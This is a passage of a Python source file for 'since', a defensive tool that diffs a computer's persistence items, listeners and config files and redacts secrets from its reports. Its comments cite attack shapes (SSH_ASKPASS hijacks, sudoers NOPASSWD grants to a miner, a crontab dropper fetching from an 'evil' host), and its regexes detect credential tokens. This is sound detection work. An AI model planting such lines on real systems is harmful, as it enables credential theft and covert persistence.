Repository navigation
Expand file tree
/
Copy pathsince.py
More file actions
executable file
·2693 lines (2428 loc) · 139 KB
/
Copy pathsince.py
File metadata and controls
executable file
·2693 lines (2428 loc) · 139 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
since — a plain-language daily diff of your computer.
One command that answers: "what's different about my machine since I last looked?"
It snapshots the things that quietly change under you — startup/background items,
listening network services, installed software, big new files, and sensitive system
files (shell config, hosts, cron, DNS/proxy) — ranks each change by how much you
should care, tells you *why* it probably happened, and offers the undo command.
Good for catching *both* malware persistence (a new LaunchAgent, a new listener, an
edited ~/.zshrc) *and* your own forgotten `brew install` from three weeks ago.
Common commands:
since diff live state against the most recent snapshot, then save
since --since 1d diff against the newest snapshot at least 1 day old
since --since monday natural-language time windows ("yesterday", "3 hours ago")
since --since <label> diff against a named checkpoint (see `mark`)
since mark <label> save a named checkpoint of right now
since ack mark current state as normal (start fresh from here)
since ignore <pat> stop alerting on a noisy path/process/category
since snapshot just capture a snapshot (put this in a daily job)
since digest --notify diff + macOS notification if anything's worth a look
since list list saved snapshots
since caps show what's covered and what needs sudo
since --json machine-readable diff | since --all include quiet churn
Most features need no privileges. A few see more with root — `sudo since` reveals
system/root-owned listeners and monitors /etc/sudoers; run `since caps` for the list.
Don't mix privilege levels between snapshots; since detects a mismatch and skips the
affected categories rather than showing false changes.
Zero dependencies: pure Python 3 stdlib + OS tools. No sudo required.
State lives in ~/.local/state/since/ (mode 600, never in the repo).
macOS and Linux are both supported (verified on real boxes). The collector layer is
platform-abstracted — per-OS backends feed one common schema, with platform-appropriate
labels, undo hints, and desktop notifications (osascript / notify-send).
"""
from __future__ import annotations
import argparse
import difflib
import fnmatch
import glob
import hashlib
import json
import os
import platform as platform_module # hostname without Unix-only os.uname()
import re
import shlex
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from datetime import datetime, timedelta
from pathlib import Path
__version__ = "0.4.10"
SCHEMA_VERSION = 5 # 4: snap['tools'] (tool identity); 5: snap['blob_flags']
if sys.version_info < (3, 9): # uses PEP 585 generics in annotations + os.replace
sys.exit("since requires Python 3.9 or newer")
HOME = Path.home()
STATE_DIR = Path(os.environ.get("SINCE_STATE_DIR", HOME / ".local/state/since"))
SNAP_DIR = STATE_DIR / "snapshots"
LABELS_FILE = STATE_DIR / "labels.json"
IGNORE_FILE = STATE_DIR / "ignore.txt"
KEEP_SNAPSHOTS = 90
PLATFORM = "macos" if sys.platform == "darwin" else "linux" if sys.platform.startswith("linux") else sys.platform
# severity levels (higher = louder)
RED, ORANGE, YELLOW, GREEN = 3, 2, 1, 0
LEVEL_NAME = {RED: "critical", ORANGE: "notable", YELLOW: "minor", GREEN: "info"}
# getattr, not os.geteuid() directly: geteuid/uname are Unix-only, so on win32 the module
# crashed at IMPORT — the honest "UNSUPPORTED PLATFORM" notice never got the chance to print.
EUID = os.geteuid() if hasattr(os, "geteuid") else -1
IS_ROOT = (EUID == 0)
# Collectors whose visibility depends on privilege. Without root, `lsof` on macOS
# only shows the current user's own sockets — root-owned/system listeners are hidden.
# A root snapshot and a non-root snapshot are therefore NOT directly comparable for
# these categories (every system listener would look added/removed), so the diff
# suppresses them across a privilege mismatch to avoid false alarms.
PRIV_SENSITIVE_CATS = ("listening", "outbound")
# What `sudo` unlocks, for the `caps` command and the non-root footer.
# (feature, why-root-helps, state-without-root)
ROOT_FEATURES = [
("Listening services", "lsof shows only your own sockets; system/root listeners are hidden", "partial"),
("Outbound connections", "same — only your processes' sockets are visible", "partial"),
("/etc/sudoers", "unreadable as a normal user, so edits to it aren't monitored", "missing"),
("Background Task Mgmt", "full persistence DB needs `sudo sfltool dumpbtm` (also not yet implemented)", "partial"),
]
# ---------------------------------------------------------------------------
# small helpers
# ---------------------------------------------------------------------------
def run(cmd, timeout=15, merge=False):
"""Run a command; return stdout (or stdout+stderr if merge). "" on any failure."""
try:
p = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout, errors="replace",
)
return (p.stdout + p.stderr) if merge else p.stdout
except Exception:
return ""
def sha(text: str) -> str:
return hashlib.sha256(text.encode("utf-8", "replace")).hexdigest()[:16]
def human_size(n: int) -> str:
f = float(n)
for unit in ("B", "KB", "MB", "GB", "TB"):
if f < 1024 or unit == "TB":
return f"{f:.0f} {unit}" if unit == "B" else f"{f:.1f} {unit}"
f /= 1024
return f"{f:.1f} TB"
def human_duration(seconds: float) -> str:
seconds = abs(seconds)
if seconds < 90:
return "moments"
mins = seconds / 60
if mins < 90:
return f"about {round(mins)} minutes"
hours = mins / 60
if hours < 36:
return f"about {round(hours)} hours"
return f"about {round(hours / 24)} days"
def tilde(p: str) -> str:
# Only collapse a LEADING $HOME — replacing every occurrence turns a path like
# /Users/me/data/Users/me/file into a nonsensical ~/data~/file.
h = str(HOME)
if p == h:
return "~"
if p.startswith(h + os.sep):
return "~" + p[len(h):]
return p
MAX_ARGV = 64 * 1024 # scanned in full (chunked + literal-prefiltered); see _enrich
MAX_READ = 8 * 1024 * 1024 # plists/.desktop/manifests/rc files are KBs; 8MB is generous
DIFF_MAX_LINES = 20_000 # above this, report the change without a quadratic line diff
DIFF_MAX_BYTES = 1024 * 1024
# Per-blob storage cap. Blobs are stored VERBATIM in every snapshot, so 13 tracked rc files
# at the 8MB read cap meant ~109MB per snapshot and ~9.6GB across KEEP_SNAPSHOTS=90. Keep a
# head plus a hash of the WHOLE content, so a change past the cap is still detected.
BLOB_MAX = 256 * 1024
def safe_read_bytes(path, limit: int | None = None, tail: bool = False):
"""Read at most `limit` bytes from a REGULAR file, else None. The ONLY way a collector
may touch a path it found by globbing a user-writable directory, because a plain
`read_bytes()` there is TWO denial-of-service vectors, both free to plant for any
process running as the user, and both fatal to an unattended `digest --notify` (it dies
before printing, saving a snapshot or notifying — a silently blinded watchdog):
* a FIFO — or a symlink to /dev/zero — blocks the read FOREVER. O_NONBLOCK plus an
S_ISREG check on the FD (not on the path, so a check-then-swap race cannot beat it)
makes that impossible.
* a multi-GB SPARSE file costs the attacker nothing to create and cost us its full
length in RAM: a planted 2GB plist measured 4.1GB peak RSS. The read is capped.
`tail=True` reads the LAST `limit` bytes — for shell history, where recency is the point.
`limit` defaults to MAX_READ at CALL time (not definition time), so the cap stays tunable."""
limit = MAX_READ if limit is None else limit
try:
fd = os.open(path, os.O_RDONLY | getattr(os, "O_NONBLOCK", 0))
except OSError:
return None
try:
st = os.fstat(fd)
if not stat.S_ISREG(st.st_mode):
return None
cut = tail and st.st_size > limit
if cut:
os.lseek(fd, -limit, os.SEEK_END)
chunks, got = [], 0
while got < limit:
chunk = os.read(fd, min(1 << 16, limit - got))
if not chunk:
break
chunks.append(chunk)
got += len(chunk)
data = b"".join(chunks)
# a tailed read lands mid-line; drop that fragment so callers never parse half a
# command as a whole one (it would show up as a bogus `why:` attribution).
return data.partition(b"\n")[2] if cut else data
except OSError:
return None
finally:
os.close(fd)
def safe_read_text(path, limit: int | None = None, tail: bool = False):
"""safe_read_bytes, decoded as UTF-8 with replacement (never raises). None if unreadable."""
data = safe_read_bytes(path, limit, tail)
return None if data is None else data.decode("utf-8", "replace")
def is_regular(p) -> bool:
"""True only for a REGULAR file (symlinks followed) — a cheap pre-filter for candidate
paths. For READING, use safe_read_* instead: this check is racy on its own and says
nothing about size."""
try:
return Path(p).is_file()
except OSError:
return False
# Suffixes WE append to a collector key so same-named items from different sources stay
# distinct (`Foo (cask)` vs the formula, `Foo (~/Applications)` vs /Applications,
# `x.desktop (system)` vs the ~/.config copy). They are part of the key's IDENTITY — but a
# filesystem path (the trust check) or a whole-word history match (attribution) needs the
# PLAIN name: with the suffix, `_enrich` built `…/Foo (~/Applications).app`, a path that
# never exists, so trust_of() returned (None, False) and an unsigned app there never
# escalated to RED. bare_key strips exactly these tags, never a name's own parentheses.
USER_APPS_TAG = " (~/Applications)"
SYS_AUTOSTART_TAG = " (system)"
KEY_TAGS = (USER_APPS_TAG, SYS_AUTOSTART_TAG, " (cask)", " (snap)", " (flatpak)")
def bare_key(key: str) -> str:
for t in KEY_TAGS:
if key.endswith(t):
return key[:-len(t)]
return key
# The tool's INPUT is potentially malware-controlled (plist filenames, process
# names, file contents…). Two dangers when we echo those back:
# 1. terminal-escape injection — a crafted name/diff line can hide the very
# change it describes, or spoof a "signature: Apple-signed" line. Strip all
# C0 controls + ESC before anything reaches the terminal.
# 2. shell/AppleScript injection via the copy-paste `undo:` hints. Never build a
# runnable command by string-interpolating an untrusted name; shlex-quote it.
# Strip C0 controls that CAN forge output — \n \r (inject extra lines / a fake
# "signature: Apple-signed" or "undo:" line), ESC, and DEL/C1 — plus the Unicode format
# chars used for output spoofing: bidi overrides (Trojan-Source), zero-width chars, BOM,
# line/paragraph separators (U+2028/U+2029), and lone UTF-16 surrogates (a non-UTF-8
# Linux filename reaches us via surrogateescape and would otherwise raise
# UnicodeEncodeError when printed, killing the whole report). TAB (\x09) is deliberately
# KEPT: it cannot forge a line, and stripping it mangled tab-indented config diffs.
_CTRL_RE = re.compile(
r"[\x00-\x08\x0a-\x1f\x7f-\x9f\ud800-\udfff"
r"\u200b-\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069\ufeff]")
def clean(s) -> str:
"""Neutralize terminal control/escape/format chars in any attacker-derived string."""
return _CTRL_RE.sub("�", s if isinstance(s, str) else str(s))
def q(s: str) -> str:
"""Shell-quote an untrusted value for a copy-paste command."""
return shlex.quote(s)
# Redact obvious secret material before it reaches the terminal / daily.log.
# The point of a config diff is "a line was added to ~/.npmrc" — not to reprint
# the token in that line where it can be shoulder-surfed or logged.
_PEM_RE = re.compile(r"(?i)-----BEGIN [A-Z ]*PRIVATE KEY-----")
# key=value where the key NAME contains a sensitive word — covers underscore forms
# (GITHUB_TOKEN, aws_secret_access_key, API_KEY, SSHPASS). Value = REST of line
# (multi-token), so "Authorization: Bearer <jwt>" doesn't leak the token past the first
# word. Both word-char runs are BOUNDED ({0,64}) — an unbounded `[\w.\-]*` on each side
# is catastrophically quadratic, and a long base64-ish line in a tracked rc file could
# stall the unattended `digest --notify` for minutes (attacker-plantable DoS).
# The keyword alternation is a SHARED constant, interpolated into both the matcher and the
# cheap pre-filter below, so the two can NEVER drift apart — a keyword present in one but
# not the other would silently stop redacting that key (a leak by omission).
_SECRET_KW = (r"secret|pass(?:wd|word|phrase)?|[_-]pwd|token|api[_-]?key|access[_-]?key|"
r"client[_-]?secret|private[_-]?key|authoriz|[_-]auth|credential|"
r"oauth2?[_-]?bearer")
# ONE assignment: a credential-ish KEY, a separator, and a value that STOPS at the first
# whitespace or shell separator (or spans a quoted run, which is atomic).
#
# This bound is the whole design. The previous matcher took the value as `(\S.*)$` —
# rest-of-line — and every bug in this function's history followed from it: a "show" decision
# exempted every later secret on the line, a "mask" decision swallowed the rest of the attack,
# and the recursive rescan bolted on to fix the first half became an unprivileged kill switch
# (RecursionError on ~800 keys in one line). With a single-token value, `re.sub` simply
# continues scanning after each match, so every assignment on a line is decided INDEPENDENTLY
# with no recursion, no depth cap, and no tail semantics to get wrong.
# {0,4096}, not {0,512}: the input is already capped at _REDACT_MAX, so a wider bound costs
# nothing, and at 512 a longer quoted value fell through to the unquoted branch and printed its
# tail (`password="AAA…520… <secret>"`).
_VALUE = (r'"(?:[^"\\\n]|\\.){0,4096}"' r"|'(?:[^'\\\n]|\\.){0,4096}'" r"|[^\s;&|]+")
_ASSIGN_RE = re.compile(r"(?i)(?P<key>[\w.\-]{0,64}(?:" + _SECRET_KW + r")[\w.\-]{0,64})"
r"(?P<sep>\s*[:=][:=>]{0,2}\s*(?:[\"']{2}\s*)?|\s+)"
r"(?P<val>" + _VALUE + r")")
# Linear, backtrack-free pre-filter: _ASSIGN_RE can only match where one of these keywords is,
# but its bounded `[\w.\-]{0,64}` runs are retried at every offset. Sound by construction —
# any _ASSIGN_RE match implies a _KV_KW_RE match on the same line.
_KV_KW_RE = re.compile("(?i)" + _SECRET_KW)
_SCHEME_RE = re.compile(
r"(?i)\b(bearer|basic|token|apikey|api-key|digest|negotiate)\s+([A-Za-z0-9._~+/=-]{6,})")
# …and the general case, because naming schemes can never be complete: under a credential-named
# key, a bare alphabetic WORD is a scheme, so the secret is the token AFTER it. The single-token
# assignment scan masks only the first token, so `header = "Authorization: SSWS <token>"` (Okta;
# also NTLM, HMAC, and any vendor scheme) masked "SSWS" and printed the credential. `.curlrc` and
# `.wgetrc` are tracked files where exactly this line lives. Bounded runs; linear.
_KEYED_SCHEME_RE = re.compile(
r"(?i)(?P<head>(?:" + _SECRET_KW + r")[\w.\-]{0,64}\s*[:=]\s*"
r"(?P<scheme>[A-Za-z][A-Za-z0-9-]{1,64})[ \t]+)(?P<tok>[A-Za-z0-9._~+/=-]{6,})")
# NOT extended to the whitespace-separated spelling (`Authorization HMAC <secret>`). Tried and
# reverted: with whitespace, the "scheme" slot is indistinguishable from the VALUE slot, so the
# rule masked `pam_deny.so` in `password sufficient pam_deny.so` and — far worse — masked the
# wrong token while leaving the real secret in place (19 property cases). Header credentials use
# a colon, and the tracked files use `key = value` or `Key value` directives, so the colon form
# above is the one that occurs. Residual: `Authorization HMAC <secret>` is shown.
_URLAUTH_RE = re.compile(r"://([^/\s:@]+):([^/\s@]+)@") # user:pass@host
# `https://<token>@github.com/...` — the standard way to embed a GitHub/GitLab PAT, and
# `.gitconfig` is tracked. No colon, so _URLAUTH_RE never saw it. Length+entropy gated so
# `ssh://averylongusername@host` stays readable.
_URLTOKEN_RE = re.compile(r"://([^/\s:@]{12,})@")
# curl .curlrc credentials: `user = "name:password"`, `-u name:password`,
# `--proxy-user u:p`. The password is the part after the first colon in the user field —
# NOT a `://…@` URL, so _URLAUTH_RE misses it. Keep the username for context, mask the pass.
# NOTE the anchor allows a leading unified-diff marker (`+`/`-`): redact() runs on diff
# lines, and a bare `(?:^|\s)` would let `+user = "u:pw"` slip through unredacted.
_USERPASS_RE = re.compile(
r'(?i)((?:^|[\s+-])(?:-u|--user|--proxy-user|user|username)\s*=?\s*"?[^"\s:]+:)([^"\s]+)')
_TOKEN_RE = re.compile( # standalone tokens
r"\bAKIA[0-9A-Z]{16}\b|\bsk_(?:live|test)_[A-Za-z0-9]{8,}\b|\bgh[pousr]_[A-Za-z0-9]{20,}\b|"
r"\bxox[baprs]-[A-Za-z0-9-]{8,}\b|\beyJ[A-Za-z0-9_-]{6,}\.[A-Za-z0-9_-]{6,}\.[A-Za-z0-9_-]{6,}\b")
# Credentials passed as a command-line FLAG, where the secret is the NEXT token rather than
# a `key=value`: `sshpass -p hunter2`, `mysql -pSECRET`. The attached form was already caught
# (the key name absorbed it) but the documented spaced form printed verbatim in a crontab.
# Anchored, bounded, no nested quantifier — linear.
_CMDPASS_RE = re.compile(
r"(?i)(\b(?:sshpass\s+-p|sshpass\s+--password[= ]|--password[= ]|--token[= ]|"
r"mysql(?:dump|admin)?\s+(?:-\w+(?:[= ]\S+)?\s+){0,4}-p)\s*)(\S+)")
_B64LINE_RE = re.compile(r"^[A-Za-z0-9+/]{40,}={0,2}$") # PEM body / raw key
_KW_VALUES = {"yes", "no", "true", "false", "none", "null", "required",
"optional", "default", "auto", "inherit", "prohibit-password"}
# Keys whose VALUE is the credential itself (an assignment `password=…`, `_authToken:…`).
# Distinct from a directive NAME that merely contains "authoriz"/"_auth"
# (`AuthorizedKeysFile`, `AuthorizedKeysCommandUser`) — those we must SHOW.
# `authorization` (whole word) is HARD — an `Authorization: <token>` header IS the
# credential. It does NOT collide with the SOFT `Authorized*` sshd directives: they
# diverge at index 8 (`authoriza…` vs `authorize…`), so `AuthorizedKeysFile` stays visible.
_HARD_SECRET_RE = re.compile(
r"(?i)(secret|pass(?:wd|word|phrase)?|[_-]pwd|sshpass|token|api[_-]?key|access[_-]?key|"
r"client[_-]?secret|private[_-]?key|credential|[_-]auth|authorization|"
r"oauth2?[_-]?bearer)") # `_auth` = npm .npmrc basic-auth field; `_pwd` = MYSQL_PWD
# sudoers TAGS are grants, not secrets: `PASSWD:`/`NOPASSWD:` prefix a COMMAND list
# (`PASSWD: /tmp/miner`, `PASSWD: ALL`) — redacting it hides the very attack we exist to
# show. Deliberately shape-narrow (uppercase tag + colon + command-shaped value) so an
# assignment (`PASSWD=hunter2`) or a YAML-ish `PASSWD: hunter2` still redacts.
_SUDO_TAGS = ("PASSWD", "NOPASSWD")
# Reporting `signature: Apple-signed` for a launch item whose Program is /bin/sh actively
# reassures the reader about a malicious payload: that signature is the INTERPRETER's, and every
# interpreter on the box is legitimately signed. Name the interpreter instead.
_INTERPRETERS = ("sh", "bash", "zsh", "dash", "ksh", "csh", "tcsh", "fish", "env",
"perl", "ruby", "osascript", "node", "php", "lua", "tclsh", "expect")
# A sudoers command spec: `ALL`, an absolute path, or a negated one — optionally followed by
# more TAGS (`PASSWD:NOEXEC: /tmp/miner`) or a comma list (`ALL, !/usr/bin/su`). The v0.4.3
# gate tested only `tok == "ALL" or tok[0] in "/!"`, so both ordinary spellings still had the
# granted command list redacted away — the single most important thing in a sudoers diff.
# `ALL` must be followed by end/space/comma — NOT ':' or '=': `NOPASSWD: ALL=<secret>` was
# accepted as a command spec and exempted the whole value. (`\b` was even looser.)
_SUDO_CMD_RE = re.compile(r"^(?:ALL(?=$|[\s,])|[/!])")
# No re.I: sudoers tags are UPPERCASE by spec, and case-insensitivity let a lowercase token
# pose as "a further tag" and exempt the rest of the line (`NOPASSWD: passwd: <secret>`).
_SUDO_TAG_RE = re.compile(r"^(?:NO)?(?:PASSWD|EXEC|SETENV|LOG_INPUT|LOG_OUTPUT|"
r"MAIL|FOLLOW|INTERCEPT):")
# Keys whose VALUE is a FILESYSTEM PATH even though the key names a credential: every one is
# a known credential-theft / agent-hijack technique when planted in a tracked rc file
# (SSH_ASKPASS=/tmp/steal.sh, SSH_AUTH_SOCK=/tmp/.evil/agent.sock, PGPASSFILE=…), and the
# path IS the finding. The unconditional `=`/`:` redaction concealed them completely.
# A real filesystem path, i.e. one with a directory separator — NOT merely "starts with / ~ $".
# The looser test leaked: a base64 secret starts with '/' about 1 time in 64 and every
# crypt/bcrypt hash starts with '$', so `SECRET_FILE=/hunter2…` printed in cleartext.
# A real filesystem path: needs a directory separator, OR is a single absolute segment of low
# entropy (`SSH_ASKPASS=/evil` is a genuine hijack shape; `SECRET_FILE=/hunter2Xyz9` has 4
# character classes and stays masked).
_REAL_PATH_RE = re.compile(r"^(?:/[^/\s]+/|~/|\./|\.\./|\$\{?\w+\}?/)")
_SIMPLE_PATH_RE = re.compile(r"^/[^/\s]+$")
# `$VAR` / `${VAR}` in full: a reference, not a value. Requires a LETTER or '_' first, so a
# crypt/shadow hash (`$6$rounds$…`) is not mistaken for one and still redacts.
_VAR_REF_RE = re.compile(r"^\$\{?[A-Za-z_]\w*\}?$")
_PATH_VALUED_KEY_RE = re.compile(
r"(?i)(askpass|passfile|pass_file|keysfile|keyscommand|[_-]sock$|_socket$|"
r"[_-]file$|[_-]dir$|[_-]path$)")
_REDACT_MAX = 4096
_SHOW_MAX_DEPTH = 8 # bounds the tail rescan; at the cap redact rather than recurse
def _sudo_cmd_spec(tok: str) -> bool:
"""True if `tok` opens a sudoers COMMAND SPEC: a further tag (`NOEXEC:`), or `ALL` /
(negated) absolute paths, possibly as a comma list. Checking only the first element let
`PASSWD: ALL,<secret>` through, because the gate then exempts the whole remainder."""
if _SUDO_TAG_RE.match(tok):
return True
parts = [p.strip() for p in tok.split(",") if p.strip()]
return bool(parts) and all(_SUDO_CMD_RE.match(p) for p in parts)
def _char_classes(tok: str) -> int:
return sum(bool(re.search(p, tok)) for p in (r"[a-z]", r"[A-Z]", r"[0-9]", r"[^A-Za-z0-9]"))
def _is_directive_value(tok: str) -> bool:
"""A value we must SHOW even under a credential-named key: a filesystem PATH, a shell
var-ref, or a known config KEYWORD. These are exactly the sshd/sudoers changes the
tool exists to surface (`AuthorizedKeysFile /tmp/evil/keys`, `PasswordAuthentication no`)."""
return (tok[:1] in "/~$") or tok.startswith("./") or (tok.lower() in _KW_VALUES)
def redact(line: str) -> str:
# Bound the work ABSOLUTELY by capping the input. Every regex below is linear now
# (v2 #1 fixed the quadratic one) but carries a real ~5µs/char constant, and `--json`
# redacts EVERY diff line — a tracked rc file with a few hundred KB of long lines
# (planted, or a generated .zshrc) would stall the unattended digest for tens of
# seconds. Truncating also fails SAFE: the dropped tail is never printed at all, so
# an un-scanned secret can't ride along behind the cap.
if len(line) > _REDACT_MAX:
return (redact(line[:_REDACT_MAX])
+ f" …(+{len(line) - _REDACT_MAX} chars, truncated)")
# PEM body / raw key material on EITHER side of a unified diff. The char class is
# +-agnostic, so strip the one-char diff marker before testing — otherwise a key
# body printed raw on a `-` (removed) line while the `+` line is redacted.
# NOTE the tuple: `line[:1] in "+-"` is ALSO true for the empty string ("" is a substring
# of everything), so redact("") raised IndexError — found by the no-raise property test.
# The marker is NOT stripped from `line` itself: a body can legitimately begin with '-'
# (a `.curlrc` `-u user:pass` line), and eating that character broke its masking.
marker = line[0] if line[:1] in ("+", "-") else ""
core = line[1:] if marker else line
if _B64LINE_RE.match(core.strip()):
return f"{marker}«redacted (key material)»"
line = _PEM_RE.sub("-----BEGIN PRIVATE KEY----- «redacted»", line)
# only redact a bearer/basic token that is actually high-entropy — plain prose like
# "# basic networking setup" must not become "# basic «redacted» setup".
line = _SCHEME_RE.sub(
lambda m: f"{m.group(1)} «redacted»" if _char_classes(m.group(2)) >= 2 else m.group(0), line)
def _keyed_scheme(m):
# The word must actually look like a SCHEME and the next token like a SECRET. Without
# both guards this misfired on `PasswordAuthentication=yes API-KEY: <secret>`: it read
# "yes" as a scheme, masked the harmless "API-KEY" and left the real credential.
if (m.group("scheme").lower() in _KW_VALUES
or _char_classes(m.group("tok")) < 2):
return m.group(0)
return f"{m.group('head')}«redacted»"
line = _KEYED_SCHEME_RE.sub(_keyed_scheme, line)
line = _URLAUTH_RE.sub(r"://\1:«redacted»@", line)
line = _URLTOKEN_RE.sub(
lambda m: "://«redacted»@" if _char_classes(m.group(1)) >= 2 else m.group(0), line)
line = _CMDPASS_RE.sub(lambda m: f"{m.group(1)}«redacted»", line)
line = _USERPASS_RE.sub(r"\1«redacted»", line)
line = _TOKEN_RE.sub("«redacted»", line)
# ---- assignment pass: every `key<sep>value` on the line, decided INDEPENDENTLY ----
# The decision table, in order. Each rule states WHY, because every one of them exists
# because its absence caused a real leak or hid a real attack:
#
# 1. key is a PATH COMPONENT (preceded by '/', whitespace separator) -> SHOW
# `NOPASSWD: /usr/bin/passwd backdoor2026` — the "key" is the granted command and the
# "value" is its argument; masking it hid which account gets reset. Whitespace only:
# `//registry.npmjs.org/_authToken=<secret>` is an assignment, not a path.
# 2. key is a sudoers TAG and the value opens a command spec -> SHOW
# The granted command list is the payload of a sudoers diff.
# 3. key NAMES a credential (HARD):
# assignment separator ('=' / ':') -> MASK
# except a config keyword (`PasswordAuthentication=yes`) or a real path under a
# path-valued key (`SSH_ASKPASS=/tmp/steal.sh`) — both are the attack itself.
# whitespace separator: prose or a directive (`password required pam_unix.so`,
# `PASS_MAX_DAYS 99999`) -> SHOW
# unless the value is credential-shaped (>=6 chars, >=2 char classes).
# 4. key merely CONTAINS a directive name (`AuthorizedKeysFile`, SOFT) -> SHOW
def _assignment(m):
key, sep, val = m.group("key"), m.group("sep"), m.group("val")
# A leading diff marker can join the key, because '-' is in the key's char class:
# `-AuthorizedKeysFile` turned the SOFT `Authorized*` directive into a HARD `[_-]auth`
# match, so the `-` (removed) form was REDACTED while the `+` form was shown. Classify
# on the marker-free key so no rule can depend on which side of the diff it came from.
kcls = key.lstrip("+-") # for CLASSIFICATION only
bare = val.strip("\"'")
masked = f"{key}{sep}«redacted»" # output keeps the original key, marker included
assigned = (":" in sep) or ("=" in sep)
# (The former rule 1 — "a key preceded by '/' is a path component, show it" — is GONE.
# It leaked a token passed as argv to a credential-named script: `*/5 * * * *
# /opt/bin/refresh_token <secret>` and `/etc/foo/api_key <secret>` printed in cleartext.
# There is no structural difference between that and `/tmp/token_stealer.sh <host>`, so
# the tie is broken toward NOT leaking: the following token is masked, and the line still
# names the script and the grant. The case the rule was added for — `NOPASSWD:
# /usr/bin/passwd backdoor2026` — is unaffected: rule 1 below consumes the command path
# as the tag's value, so the account name is never scanned as a value at all.)
if kcls in _SUDO_TAGS and ":" in sep and _sudo_cmd_spec(bare):
return m.group(0) # 2
if _HARD_SECRET_RE.search(kcls): # 3
if assigned:
# NO var-ref exemption here, deliberately: `SSHPASS=$ecretPassw0rd` and
# `API_KEY_FILE=$hunter2Xyz9` are indistinguishable from `$VAR` by shape, and
# v0.4.2 already shipped that leak once. Under an assignment a HARD key's value
# is the secret unless it is a config keyword or a real path under a
# path-valued key. (The whitespace branch below can afford the exemption: its
# values are directives, e.g. nginx `Authorization $http_authorization;`.)
if (bare.lower() in _KW_VALUES
or (_PATH_VALUED_KEY_RE.search(kcls)
and (_REAL_PATH_RE.match(bare)
or (_SIMPLE_PATH_RE.match(bare) and _char_classes(bare) < 3)))):
return m.group(0)
return masked
# keyword / short / single-class only. NOT "starts with / ~ $": that first-char
# test showed `CREDENTIAL /t_wvSrE+2I.23-VqI33q` in cleartext (property test P1).
# Legitimate whitespace-separated directive values are keywords or numbers
# (`password required pam_unix.so`, `PASS_MAX_DAYS 99999`), never paths.
# A real PATH or URL is the payload, not the secret: masking it meant an attacker
# naming their dropper `*token*`/`*api_key*` made its download URL vanish from the
# crontab diff (`/opt/bin/refresh_token http://evil/x.sh` -> «redacted»). A raw
# credential matches neither pattern, so the P1 leak stays closed.
if (bare.lower() in _KW_VALUES or _VAR_REF_RE.match(bare)
or bare.startswith(("http://", "https://", "!"))
# a path ONLY when it is low-entropy: base64 uses '/' and '+', so
